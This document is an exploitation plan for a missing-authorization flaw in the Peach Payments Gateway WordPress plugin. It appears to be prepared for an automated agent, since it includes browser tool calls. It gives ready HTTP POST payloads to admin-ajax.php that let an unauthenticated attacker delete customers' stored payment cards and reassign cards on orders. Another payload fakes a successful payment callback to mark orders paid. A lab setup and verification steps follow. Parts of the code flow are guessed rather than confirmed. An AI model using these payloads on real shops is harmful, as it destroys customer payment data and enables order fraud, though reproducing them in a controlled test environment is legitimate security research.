Exploitation Research Plan - CVE-2025-67942

1. Vulnerability Summary

The Peach Payments Gateway plugin for WordPress (versions <= 3.3.6) contains a Missing Authorization vulnerability. Several AJAX handlers registered via wp_ajax_nopriv_ (for unauthenticated users) and wp_ajax_ (for authenticated users) fail to perform capability checks (current_user_can) or verify ownership of the resources being modified. This allows unauthenticated attackers to perform unauthorized actions such as deleting payment cards or modifying order payment details.

2. Attack Vector Analysis

• Endpoints: WordPress AJAX endpoint /wp-admin/admin-ajax.php.
• Actions:
  1. peachCardUpdate: Intended to remove a stored payment card.
  2. peachCardUpdateOrder: Intended to update an order with a specific payment card.
  3. peachEmbedUpdateOrder: Intended to update order status after a successful embedded checkout.
• Payload Parameters:
  • action: peachCardUpdate, peachCardUpdateOrder, or peachEmbedUpdateOrder.
  • card: (For peachCardUpdate) The ID of the payment token to delete.
  • cardID: (For peachCardUpdateOrder) The ID of the card to associate with the order.
  • orderID: (For peachCardUpdateOrder) The WooCommerce order ID to modify.
  • mystatus, transaction, mycode: (For peachEmbedUpdateOrder) Status and transaction identifiers.
• Authentication: Unauthenticated (via wp_ajax_nopriv_ hooks).
• Preconditions: The plugin must be active. For peachCardUpdate, a payment card (token) ID must be known or enumerated.

3. Code Flow

The vulnerability originates from the lack of security checks in the AJAX callback functions.

1. Registration: The plugin registers AJAX actions in its initialization (likely in WC_Peach_Payments::__construct or an init hook, often within classes/pluginSupport.php or classes/embeddedCheckout.php).

   // Inferred registration pattern
   add_action( 'wp_ajax_peachCardUpdate', 'peach_card_update_callback' );
   add_action( 'wp_ajax_nopriv_peachCardUpdate', 'peach_card_update_callback' );
   

2. Trigger: An HTTP POST request is sent to admin-ajax.php with action=peachCardUpdate.
3. Execution: The handler function (e.g., peach_card_update_callback) is executed.
4. Sink: The handler likely calls WC_Payment_Token::delete() or updates wp_postmeta (for orders) without:
   • Verifying the user is logged in.
   • Verifying the user has the manage_woocommerce capability.
   • Verifying that the cardID or orderID belongs to the requesting user.
   • Checking a WordPress nonce.

4. Nonce Acquisition Strategy

Based on assets/js/front-peach.js, the plugin does not use nonces for these specific AJAX actions.

• The jQuery.ajax calls for peachCardUpdateOrder (line 33), peachCardUpdate (line 59), and peachEmbedUpdateOrder (line 102) only pass the action and data parameters.
• If the researcher needs to verify if a nonce is localized but unused, they can check the peach_ajax_object (localized variable name found on JS line 34):
  1. Navigate to the checkout page: browser_navigate("/checkout/")
  2. Evaluate the object: browser_eval("window.peach_ajax_object")

Observation: Since the JS itself does not include nonces in the requests, the server-side handlers likely do not check them, or if they do, they are bypassable.

5. Exploitation Strategy

Task A: Unauthorized Card Deletion (peachCardUpdate)

1. Target: Delete a payment token belonging to a user.
2. Payload:
   • action: peachCardUpdate
   • card: [TARGET_CARD_ID]
3. Request:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=peachCardUpdate&card=1
   

Task B: Unauthorized Order Modification (peachCardUpdateOrder)

1. Target: Change the payment card associated with an arbitrary order.
2. Payload:
   • action: peachCardUpdateOrder
   • cardID: [NEW_CARD_ID]
   • orderID: [TARGET_ORDER_ID]
3. Request:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=peachCardUpdateOrder&cardID=2&orderID=101
   

6. Test Data Setup

1. Plugins: Install WooCommerce and Peach Payments Gateway (3.3.6).
2. WooCommerce Configuration: Enable the Peach Payments gateway in WooCommerce > Settings > Payments.
3. User/Data Creation:
   • Create a Customer user.
   • Use WP-CLI to create a payment token for that user:
     wp eval 'WC_Payment_Tokens::add(new WC_Payment_Token_CC(["card_type"=>"visa", "last4"=>"1234", "expiry_month"=>"12", "expiry_year"=>"2026", "user_id"=>1]));'
   • Create an order:
     wp post create --post_type=shop_order --post_status=wc-pending --post_title="Test Order"
   • Note the Token ID and Order ID.

7. Expected Results

• For peachCardUpdate: The response should be success (as per JS line 64). The payment token record in the database should be deleted or marked as deleted.
• For peachCardUpdateOrder: The response should be 1 (as per JS line 40). The order's metadata (e.g., _payment_method_token) should be updated to the new ID.

8. Verification Steps

1. Check Tokens:
   wp eval 'print_r(WC_Payment_Tokens::get_customer_tokens(1));'
   Confirm the token previously created is now missing.
2. Check Order Meta:
   wp post meta get [ORDER_ID] _payment_method_token
   Confirm the meta value matches the cardID sent in the exploit request.

9. Alternative Approaches

If peachCardUpdate requires authentication (despite the nopriv claim), focus on peachEmbedUpdateOrder:

• Payload: action=peachEmbedUpdateOrder&mystatus=SUC&transaction=TEST_TX&mycode=000.000.000
• Objective: Attempt to force an order status change for the current session's order by mimicking a successful callback from the Peach widget. This bypasses the actual payment requirement.